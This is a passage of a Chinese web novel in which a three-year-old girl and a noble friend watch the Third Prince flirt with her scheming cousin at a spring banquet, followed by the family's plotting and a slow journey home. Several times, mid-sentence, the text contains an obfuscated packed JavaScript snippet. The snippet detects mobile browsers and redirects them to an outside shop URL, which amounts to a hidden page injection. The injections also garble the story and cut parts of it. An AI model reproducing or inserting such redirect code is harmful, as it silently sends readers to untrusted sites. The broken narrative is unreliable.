声音一出,果然引得众位夫人侧目望来,连大长公主也闻声转头,目光落在她圆滚滚的小脸上,慈和地挥了挥手,唇角含笑,表示看见了这可爱的小人儿。 “瞧见没?那个穿白色长衫、走在众公子前面就是我表哥,季文纪世子。他右边那个穿着宝蓝底子暗金纹袍子的,是三皇子。” 潇潇压低声音,凑在阿沅耳边介绍,气息呵得阿沅耳朵微痒。 她先是指点着大长公主近旁的几位雍容华贵的夫人,其中一位环佩叮当、气度非凡的便是宫中的闲贵妃娘娘。 只是夫人众多,有的已翩然走过,阿沅看得眼花缭乱,实在记不住这许多。 倒是潇潇着重介绍的纪世子和三皇子,她依言多瞧了几眼。两人都是十六七岁年纪,身量颀长,个头相仿。 但长相气质却迥异:季世子身着月白长衫,面容清俊,眉眼疏朗,气质温润中透着矜贵,行走间目不斜视,姿态挺拔如竹,颇有乃父当年状元郎的风仪。 而三皇子虽衣饰华贵,但面容确实平平,五官略显局促,鼻梁不高,眼神游移,走路时不像世子那般端方,而是微微晃着身子,嘴里似乎还哼着不成调的小曲,眼珠子左顾右盼,像是在花丛中搜寻着什么有趣的猎物,那神态让阿沅莫名不喜。 “三皇子看着很讨厌!”阿沅心中有了定论,不自觉就把嘀咕说出了口。 话音刚落,她立刻意识到不妥,慌忙用两只小胖手紧紧捂住自己的嘴巴,圆眼睛瞪得大大的,带着一丝慌乱转头看向潇潇,生怕给姐姐惹祸。 “呵呵,你这小机灵鬼,还会看相了!”后脑勺被潇潇用指节轻轻敲了一记,那力道轻得像羽毛拂过。 潇潇偏中性的嗓音里满是笑意与毫不掩饰的宠溺,甚至还带着点促狭的意味,仿佛很赞同她的童言无忌。 “本来就是嘛,”得到默许般的回应,阿沅的胆子立刻肥了起来,凑到潇潇耳边,揽过她的脖子,用气音小小声地补充,语气更加乖张。 “人模狗样!”这四个字她说得有点拗口,但努力模仿着不知从哪里听来的词儿,配上她一脸认真的小表情,反差强烈。 两群人渐行渐远,只留下绰约的背影和淡淡的香气。贵女们有的悄悄跟了上去,希望能在夫人们面前多露露脸;有的则四散开来,或独自赏花,或三两结伴。 但更多的则是聚拢到了不远处一座临着荷花池的敞亮廊坊里,那里早已备好了清茶与各式精巧点心。 “阿沅饿不饿?渴不渴?”潇潇把阿沅放下地,看她粉嫩的嘴唇因奔跑嬉戏而微微发干,也不等她回答,便自作主张道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123754|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,咱们找好吃的去。” 她拉着阿沅,却不是往贵女云集的荷花池廊坊去,而是径直走向另一侧专门接待男宾的区域。 那边也设了桌椅,离廊坊不过十几步远,旁边还有一座嶙峋的假山作为隔挡,位置颇为巧妙。 潇潇边走边自顾自地解释,语气里带着了然与调侃:“他们刚从前院喝了茶过来,瞧见没?这会儿心思可都不在吃食上,都忙着观花、‘赏景’去了呢。” 这意味深长的“赏景”二字,让阿沅抬起小脑袋,乌溜溜的眼珠转了转,若有所思地看了潇潇一眼。 然后突然冒出一句:“潇潇姐姐……好漂亮。”这话她说得有点慢,带着孩童特有的、仔细打量后的判断意味。 潇潇被她这突兀的“夸赞”和那审视的小眼神逗得一愣,随即捂着脸失笑,略为粗壮的屈指轻轻刮了下她的鼻子:“你这小丫头,这眼神到底是夸我呢,还是琢磨什么呢!” 阿沅这话夸得确实有点“突如其来”,甚至细品之下带着点“违心”的安慰意味。 其实平心而论,潇潇姐姐长得虽非倾国倾城的柔美,却别有一番风致:高而饱满的额角,五官清晰立体,略粗而尾端微挑的眉毛下是一双神采奕奕的丹凤眼,鼻梁高挺,唇形偏薄。 不笑时轻抿着,天然带着一股子飒爽的英气和疏离的贵气。 只是……她脸上的妆容着实有些“特别”,粉黛涂抹得略显厚重且不甚均匀,颜色搭配也突兀,生生将那分英气掩去了大半,反添了几分俗艳与不协调。 孟沅看在眼里,心底竟生出一丝叹息和怜悯来——方才听她称大长公主为姑母,那必是皇亲国戚了,这般打扮,怕是身不由己,不得宠爱,或是庶出,或是幼年丧母,才被人故意妆扮成这般出来…… 哎,她模糊觉得潇潇姐姐就跟没爹没娘的孩子一样,有点可怜。既然姐姐对她这般亲切,她自然也要对姐姐好。 “小脑瓜里想什么呢?眼神都飘了。”潇潇见她忽然走神,一副小大人般沉思的模样,忍不住好笑,轻轻拍了拍她的背。 “快点过去。等那些‘赏景’的公子哥儿们逛回来,咱们可就没法吃得这么自在啦。” 见她迈着小短腿走得慢,潇潇干脆再次俯身,一把将她抱起,脚步轻快地朝着摆满点心茶果的桌案小跑而去。 她的步伐又快又稳,带着一种独特的轻盈感,让怀里的阿沅仿佛乘着风,体验着一种不亚于被绿果抱着飞檐走壁的畅快,不由得开心地搂紧了潇潇的脖子。 第96章 可要看一台好戏? 这边,阿沅和潇潇正坐在雕花小圆桌旁,津津有味地品尝着各色精巧的美食。 阿沅一双乌溜溜的大眼睛几乎粘在了那些做成花瓣、小动物形状的点心上,小手抓着一块淡紫色的桃花酥,啊呜就是一大口,腮帮子立刻鼓得像只偷藏了坚果的小松鼠,粉嫩的嘴唇边还沾着些许碎屑,模样娇憨可爱极了。 潇潇看着她这副小馋猫的样子,眼里漾满了温柔的笑意,她伸出纤白的手指,用柔软的指腹轻轻拂去阿沅嘴角的糕屑,动作轻柔。 “阿沅,糕点可好吃?这紫色的桃花酥,还要再来一块么?”潇潇的声音如山间清泉,悦耳动听。 阿沅闻言,抬起小脸,眉眼弯成了月牙儿,虽然满足地拍了拍自己圆滚滚的小肚子,奶声奶气地宣告:“饱了,肚肚装不下了。” 可那亮晶晶的眼神,仍旧恋恋不舍地在几碟点心上打转。 “那便不吃了,省得积食。”潇潇看在眼里,指尖点了点她的小鼻尖,柔声许诺,“待会儿回去时,姐姐让姑母每样都给你打包一碟带上,可好?” 阿沅顿时受宠若惊,开心得笑出了不止八颗整齐的小米牙,那没心没肺的灿烂笑容,仿佛能将周围清冷的空气都染上甜意,她扑闪着长睫毛,甜甜道:“潇潇姐姐太好了!” 那边,孟绫的处境却截然不同。 她并未因贵女们有意无意的疏离和轻蔑目光而黯然退场,只是那份赏花的闲情雅致早已荡然无存,也不敢再混迹于贵女圈中平白受辱。 她脚步略显迟疑仓促,落了下乘,待旁人或三两结伴漫步花间,或围坐亭中品茗谈笑时,她环顾四周,最终选择了廊坊尽头那最僻静无人之处。 她先是倚着栏杆,望了一会儿荷花池中冰雪初融、尚显寂寥的湖面,然后默默挪到一株盛放的梨花树下。 时而低头,凝睇着地上那些未被及时清扫、已然零落成泥的花瓣,纤眉轻蹙,流露出一丝惋惜;时而又仰起脸,望向枝头那些含苞待放或初绽新蕊的花骨朵,嘴角勉强扯出一抹极淡、带着些许期盼的弧度。 此情此景,恰是“花下看美人”。一袭素白如雪的披风裹着她纤细窈窕的身姿,轻蹙的眉尖,眼中那似有若无、盈盈欲滴的泪光,构成了一幅我见犹怜的画面。 这份刻意或无意的柔弱,果然精准地触动了某些一直在场中逡巡、寻找单身“猎物”的有心人的心弦。 “阿沅,看那里,”潇潇忽然压低声音,带着几分孩童式的狡黠与分享秘密的兴奋,指向不远处假山背后、梨花掩映的一角,“可想去偷看那儿的一出好戏?” 阿沅顺着她指的方向望去,一眼就瞧见了那身即使在人群中亦十分扎眼的宝蓝色玄锦衣袍,小嘴立刻不高兴地撇了撇,心里的抗拒明明白白写在脸上:“三皇子?不去!” 那个光看就觉讨厌的家伙,她才不要靠近。 “你再看仔细些,另一个是谁?”潇潇循循善诱。 坐在旁边空桌、一直警醒地留意着小姐和这位过分热络的贵女一举一动的绿果,此时也伸长了脖子望去,看清那人时心中异动。 低声插话道:“小姐,是二房那位绫小姐。”她生怕自家年纪小的小姐看不真切,又见左右并无旁人注意,便补充了一句,语气里带着不甘,“她居然还能来这种场合……早知奴婢就……” 后面那句“就多抽她几下”虽未出口,但眼神里的愤愤之意已表露无遗。 说完,她迅速抬眼瞥了一下潇潇小姐,试探这位身份不明的贵人对此的反应。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131368|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅一听是孟绫,立刻来了精神,小身子灵活地从凳子上出溜下来,语气变得异常笃定:“去!去看看!” 她可太了解这位堂姐了,小说里她心比天高,恨不得将阿沅这个正经的侯府嫡女踩进泥里,一心只想攀附权贵。 小说里大房惨淡收场后,孟绫确实如愿进了宫,但具体嫁了谁,阿沅的记忆有些模糊。 难道……就是眼前这个风流成性的三皇子?这么快就勾搭上了?既然有现成的戏台子,不看白不看。 “跟我来,往高处去。那儿看得真切,听得也清楚。”潇潇似乎对这里的地形了如指掌。 阿沅本以为只是绕到假山后面偷听,谁知潇潇牵起她的手,径直朝着假山旁侧走去。这廊坊沿湖蜿蜒,假山背后竟倚着一处微微隆起的高坡,茂密的花木间藏着一条隐秘的石阶。 潇潇走在前面,时不时回身拉一把腿短又有些圆滚滚的阿沅。 绿果紧随其后,心里直想干脆把小姐夹在腋下飞上去省事,但碍于潇潇小姐的照顾,只能一边警惕四周,一边在阿沅爬台阶时,用手轻轻托一下她的小屁股,助她一臂之力。三人很快顺利登顶。 石阶尽头是一处小巧的平台,四周树木环绕,外围设有木制围栏,环境清幽。平台中央,两棵大树之间固定着一张小小的四方石桌,桌面刻着棋盘格子,旁边是四个同样用石头凿成的小圆凳。 潇潇向下望了一眼,估摸着位置,一把将阿沅抱起来,稳稳放在最靠近围栏、视野最佳的那个石凳上。“坐在这儿,保管下面说什么、做什么都一清二楚。” 阿沅双手扒着冰凉的木栏杆,迫不及待地往下瞧。先是近在咫尺、如云似雪的梨花簇拥着映入眼帘,透过花枝,假山旁的情形便一目了然。 第97章 癞**配屎壳郎——绝配 只见三皇子萧衡眯着一双色眯眯的眼睛,嘴角噙着一抹玩味的笑,几乎已将孟绫逼到了梨树树干上。 “三……三殿下!”孟绫显然没料到自己的魅力非常,“机缘”来得如此之快,而且对象竟是身份尊贵的三皇子。 惊喜瞬间冲昏了头脑,但毕竟年纪尚小,未满十四,面对男子如此近距离的压迫,除了那份渴望被青睐的激动,心底仍本能地生出几分怯意,想要维持住女儿家该有的矜持。 她慌慌张张地向后退去,直至脊背抵住了粗糙的树干,再无退路,才不得不停下,胸口微微起伏。 “妹妹是哪家的美人儿?看着很是面生。”萧衡步步紧逼,目光在她脸上身上流连,带着毫不掩饰的审视与玩味,语气刻意放得温柔,眼底却闪烁着猎人看见合意猎物时那种势在必得的光芒。 “臣女……臣女,”孟绫的声音细若蚊蚋,带着颤音,“安平侯府嫡长女孟绫,见过三皇子殿下。”嫡长女三字说得尤为慎重,刻意加重了语气。 她想要福身行礼,奈何萧衡离得太近,几乎呼吸可闻,连弯腰的空隙都没有。 她只能慌乱地低下头。原本因扑了脂粉而显得过于白皙的脸颊,此刻迅速飞上两抹羞怯的红霞,一直蔓延到耳垂。 那副欲语还休、欲拒还迎的姿态,连在上头偷看的孟沅都看得有些发愣,这是要拿小金人的节奏。 “安平侯府?”萧衡的声调略微拔高,似乎透出几分意外,他重复着,追问道,“孟大川……还是孟二泉家的?” 孟绫闻言,眼中飞快闪过一丝挣扎与难堪,犹豫了片刻,才怯生生地、用更低的声音回答:“臣女父亲……是孟二泉。”语气里虽努力想维持镇定,却仍不免流露出一丝底气不足。 然而,她随即又努力挺直了原本微驼的背脊,仰起脸,对着萧衡绽放出一个自认为最是妩媚动人的笑容,极尽讨好之态。 听到“孟二泉”三个字,萧衡那原本已经抬起、几乎要抚上孟绫脸颊的手,在空中微妙地停顿了一下。他眼底深处掠过一抹不易察觉的、复杂难辨的情绪,或许是权衡,或许是索然,又或许兼而有之。 最终,那只手只是转而伸向她肩头,漫不经心地弹落了一片不知何时沾上的梨花瓣。 他的喉结上下滚动了一下,仿佛咽下了什么话,只从唇间轻轻呼出一口气,意味不明地说:“孟绫?嗯,本殿下……记住你了。” 说完,竟不再留恋,干脆利落地转身,朝着另一处花木繁盛、看似更僻静的地方走去,继续他的“狩猎”之旅。 “走了?居然就这么走了?”趴在栏杆上的阿沅不敢置信地瞪大了眼睛,小手疑惑地拽了拽身旁潇潇姐姐的衣袖,仰起小脸,眼里满是困惑与不解。 这戏码,跟她预想的“私相授受、拉扯不清”的场面,差距有点大啊! 失望!好失望!潇潇看到的就是她这样的小表情。 “你这小机灵鬼儿。”潇潇被她这副小大人似的、充满怀疑的表情逗乐了。 忍不住伸出一根玉指,轻轻点了点她光洁的额头,又爱怜地捏了捏她粉嘟嘟、手感极佳的脸颊肉,反问道:“那阿沅想看的是什么戏?可是想看你那位堂姐当场出丑,狼狈不堪?” 若是这小丫头真想看孟绫当众丢个大丑,比如摔个跤扯破裙子什么的,她自有办法不着痕迹地安排,保管比现在精彩十倍。 原本就是这么计划的。 阿沅的视线追随着萧衡走向远处的背影,又扫了一眼树下似乎有些失落、又强自振作的孟绫,忽然语出惊人,小脑袋瓜里蹦出了一个奇妙的比喻:“他们……倒是挺……配的。” 语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131369|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里带着一种超乎年龄的笃定。 这话让潇潇微微一怔,随即眼底的笑意更深,刮目相看之余,仍忍不住想逗逗她:“哦?哪里配了?说来姐姐听听。” 阿沅皱着小鼻子,一脸嫌弃,用她那奶声奶气却努力咬字清晰的调子,给出了一个令人绝倒的答案:“癞**,屎壳郎——” 她顿了顿,加重语气,吐出最后两个掷地有声的字,“绝配!” “噗——”潇潇终于忍不住轻笑出声,那笑容灿烂如花,明媚动人。她揉了揉阿沅的顶发,“那……看在阿沅这么说的份上,这次就先放她一马?” 阿沅点了点小脑袋,黑葡萄似的大眼睛里闪烁着与她天真面容不符的、带着一丝狡黠的认真光芒,语气坚定地说:“不能洗得太快。” 意思是,教训还是要给的,只是不必急于一时,或者,要用更“合适”的方式。 绿果在一旁听得心惊肉跳,暗暗扶额:我的小姐哎!您才三岁,怎么说话像个小人精似的?旁边这位潇潇小姐是敌是友还摸不清呢,怎么就能把心里话说得这么透! 她紧张地观察着潇潇的神色,却见这位身份尊贵的小姐非但没有丝毫介意或不悦,反而颇为赞同地点了点头,看着自家小姐的眼神里,除了默许,便是那种近乎纵容的宠溺,实在看不出半分坏心。 绿果心头那根紧绷的弦,这才稍稍放松了些许,同时也不由暗自纳闷:小姐是什么时候,结交了这样一位既厉害又似乎真心待她的知心大姐姐的? 而此时依然正愣在梨花树下的孟绫,还因三皇子殿下在她肩头轻抚了一下,又加一句“孟绫,本殿下记住你了”,而沉浸在自己的美梦里。 而远远看着这场戏的紫烟,从未上前半步,也没制止之心。只想着把眼前这一幕尽快告诉主子,由她来定夺。 第98章 心思歹毒的闺女 那场春日宴,看似和风细雨,实则暗藏机锋,但很快就过去了,阿沅也确实打包回来好吃的糕点。 她没有因为潇潇姐姐对她好而太过留恋,只一句孩童无意的话作了告别:“窝再不回去,杨老夫子用戒尺打,很疼的。” 这一次,也可说是三皇子为孟绫挡了一灾,才没被人下了暗手,不然孟绫怕是早已当众出乖露丑,名声扫地。 这背后的阴私算计,三皇子本人毫不知情,孟绫更是蒙在鼓里,只当是寻常的殷勤回护。 阿沅更不知道,居然有人会因为她而出头,想要算计那恶毒的堂姐。 然而,正是这份“不知”,让某些人念头生了根。 自那日后,三皇子殿下“清朗”的眉目、“温雅”的谈吐,乃至他衣袖拂过时淡淡的龙涎香气,都反复在孟绫心底萦回。 她独坐闺中,对着铜镜抚弄发钗,越想越觉那日的举动别有深意——他为何偏偏替我拂去了花瓣?为何看向我时眼角似有笑意?一颗芳心便在这反复咀嚼中暗自沦陷,将无情男人的猎艳之举,解读成了蓄意为之的倾慕。 焦氏那头,更是添柴加火。贴身丫鬟紫烟将那日的情景,从三皇子的一个眼神到孟绫颊边飞起的红晕,都掰开揉碎、绘声绘色地禀报了一遍。 焦氏斜倚在贵妃榻上,指尖慢捻着一串佛珠,越听嘴角那抹意味不明的笑意越深。 她本就善于在蛛丝马迹中寻找可乘之机,如今更是笃信:这三皇子,怕是真的对孟绫有了几分意思。 “你说三殿下看上了我们家孟绫?”夜深人静,红绡帐暖,一番云雨过后,焦氏伏在孟二泉汗津津的胸膛上,吐气如兰,将这番猜测化作枕边软语。 孟二泉闻言,先是一愣,随即狂喜如浪潮般淹没了理智,竟忍不住“吧嗒”一声重重亲在焦氏脂粉微晕的脸上,搂着她腰肢的手臂又收紧了几分,仿佛搂住的不是妻妾,而是即将到手的锦绣前程。 “我的好娇娇!若真如此,何愁侯位不到我手?何愁将来不飞黄腾达?”他喘息着,眼前已浮现出自己身着侯爵冠服、皇子岳丈把酒言欢的幻景,甚至想到了定不会缺失的从龙之功。 激动之下,他少不得一番嘱咐,气息尚未平复:“往后……往后你多疼着点绫儿。衣裳首饰,拣时兴的、贵气的置办,别吝啬银钱。多带她出去见见世面,在那些夫人太太面前,给她做足脸面。至于嫁妆嘛……” 他略一沉吟,眼底掠过一丝精光,压低声音道,“母亲那里……自有计较。大房含章院里,好东西可都收着呢,总不会亏了绫儿。这些,不必夫人你劳心。” 殊不知,帐内余温未散,焦氏背转过身,脸上那迎合的媚笑早已冰消雪融,换上了一副冰冷讥诮的神情。 她在黑暗中无声地咧了咧嘴:呵,空架子一个,倒会做白日梦!还想拿侯府的陈年旧例来拿捏我?真当我和大房那个面团似的正头夫人一样好摆布?做你的春秋大梦! 不过……这送上门的梯子,不顺着爬上去,岂不可惜?焦氏眼中幽光闪烁,心思已转了几转。 看来,是得寻个由头,往宫里递递话,走动走动了。 有些风,得趁早放出去;有些火,得适时浇点油。 …… 孟二泉表面上孝心上还算过得去,确确实实拿着老宋氏那枚沉甸甸的一等诰命夫人腰牌,进宫为她请了两次御医。 每次太医诊脉后,都捻须沉吟,开了对症的方子,用的也都是上好药材,并宽慰说老夫人此乃年高体衰之症,悉心调养便无大碍,虽难根治,却也绝不至急剧恶化。 然而,松鹤院里的实情,却与太医的断言背道而驰。自春日宴后第五日起,从那院子墙根下、角门边,那些惯爱嚼舌根的婆子媳妇口中,零零碎碎传出的消息,一日比一日骇人。 “哎哟,可了不得!老夫人昨夜直说胡话,双手拍得床板砰砰响,说什么‘别过来’、‘不是我’,吓得守夜的丫鬟魂都没了。” “今儿个更邪乎,早起穿衣时,右边那条胳膊就跟不是自个儿似的,直撅撅吊着,搀扶着下地,脚也画着圈儿,走不出一条直线来。” “嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看着眼前这小祖宗下起手来眼都不眨,偏生长得玉雪可爱,一派天真烂漫,说起回家想亲人时,那掰着手指头细数“娘亲、爹爹、哥哥、红袖、莲子”的模样,又十足是个离不开人的奶娃娃。 孟柒这个刀头舔血多年的汉子,心头竟罕见地软了一块,生出一丝朦胧的向往:将来若能成家,有个这般聪慧灵透,又心思“歹毒”的小闺女,似乎……也挺不错! 第99章 回家的路有点慢 回家的路走得有点迟缓,比预想中还要慢上许多。 出城后一路再没看见一点冰渣,仿佛前些日子的严寒只是一场梦。 但冰雪完全消融后的道路却更难走了,车辙与脚印在泥泞中交错,到处都是坑坑洼洼,马车每行一段就忍不住颠簸摇晃,像醉汉似的左右踉跄。 路上行人逐渐多了起来,出行的车马也络绎不绝,比起前些日子冷清萧条的景象,总算有了几分生气。 上次一路来见到的灾民已经难得一见,不知是冻死、饿**,还是被官府遣返了原籍。 这念头在心头掠过,让人无端有些发闷。 路边的土地已经开始有人在开垦,三三两两的农人弓着腰,一锄一锄地翻着湿润的泥土,可能土地还没完全化开,看着很是吃力。 树木枝条依然瑟缩着,像是还没从寒冬中完全醒来,但也有少数心急的已经冒出了点点绿色的新芽,怯生生地探着头。 “屁股疼,绿果姐姐,我要骑马。” 即使马车铺了三层厚厚的被褥,仍然震得屁股生疼。阿沅皱着小脸,双手捂住后腰,身子随着车厢左右晃荡,活像颗滚来滚去的小豆子。 她终于忍不住了,连走路回家的心都有——哪怕是用她那双小短腿一步一步挪回去,也比在这儿颠成八瓣强。 绿果刚说“好”,声音里带着笑意,已经挑帘。 “来吧!十六叔刚好想练练脚劲。”最靠近车旁的十六回答得干脆利落,已经勒住了马,还冲马车另一边的十五挑衅地扬了扬下巴:“要不要下来练练?看谁跑得稳、跑得快!” “还怕了你?”十五眉毛一挑,作势就要下马。 “想练,回到庄子再练。” 十五话音刚落,就被赶马车的孟柒一声喝止。 他目光扫过路上来往的人群和车马,声音沉稳:“人多车多,提防着点,避免冲撞。” 他一记眼刀过去,两人都收了声,神色服帖起来。 最终,绿果抱着阿沅上了马。小姑娘一坐到马鞍前面,立刻像只出了笼的小雀儿,眼睛都亮了起来,东张西望,连方才喊疼的事儿都忘了。 十六先是坐在车辕上,但马车颠得他屁股发麻,又想赶马车,孟柒却不惯着他。 最终抵不住,还是跳下来走路兼慢跑,却没有脱离小队伍,始终不远不近地跟在近前。 “走了半天才走了这么点路,今晚怕是要歇在外面了。” 孟柒策马车快走几步,到了绿果和阿沅所骑的马后,望着前方蜿蜒泥泞的土路,语气里透着担忧。 按雪灾前的路况,摸黑出发,到庄子也不过是才入夜的光景。可是现在,路烂成这样,再怎么赶,一天半应该也赶不回去。 “有柒叔你们在,阿沅不怕。” 听出孟柒话里的担忧,阿沅反而转过小脑袋,一本正经地出言安慰。 她脸蛋被风吹得红扑扑的,眼睛却弯成了月牙儿,声音糯糯的,却满是信任。 想着沿路的普通百姓都不担忧,他们几个个个身手了得,就算歇在野外,应该也不用担心——说不定还能堆篝火、看星星呢! 孟沅心里甚至有点偷偷的期待。 露宿而已,前世露营还要花钱买装备,攒了假期才能往城外跑呢! 现在多自在,马车上被褥就有四床,紧一紧,几个人也够分。再不行,半夜里从空间腾出来几床差不多一样的被子,谁又会注意呢? 她想着,嘴角就忍不住翘了起来。 一路回去,中途只路过一个镇子,到的时候并不是在正午,所以也不停歇。 反而是午后,几个人集中在马车里,都囫囵吃了几口带过来的干粮——硬邦邦的饼子,咸香的肉脯,就着热茶管了个饱。 阿沅小口小口地啃着饼子,腮帮子一鼓一鼓的,像只储粮的小松鼠。 孟柒就吩咐下去:“今晚就住在翻过第二座山,坡底的那个庄子。十五,待会你紧走几步,先找家农户借宿。打扫一下,煮个热汤热饭等着我们。” 听说没有露营,阿沅居然有点小失望,小嘴不自觉地嘟了嘟。但想到今晚还能宿在外面,不是闷在车里或是连夜赶路,她又高兴起来。 眼睛一亮,挥着小手大喊了一声:“耶,十五叔快去!”那雀跃的小模样,惹得众人都笑了起来。 不知怎么的,可能是原身以前生活在侯府里,基本没怎么出过门,总有点向往外面的世界。 如今她芯子里又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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热水洗脸洗手,烫烫的帕子敷在脸上,驱去一身的疲惫和寒凉。几个人坐到冒着热腾腾水汽的热锅子前,就等拴马、伺候马匹还没回来的十六开吃了。 “这种吃法倒是有点像在漠北的军营里。”孟柒看着桌子中间那口咕嘟咕嘟沸腾的大铁锅,饶有兴致地说。 他又转向绿果,叮嘱道:“注意着点小姐,别靠太近了,小心蒸汽烫着。”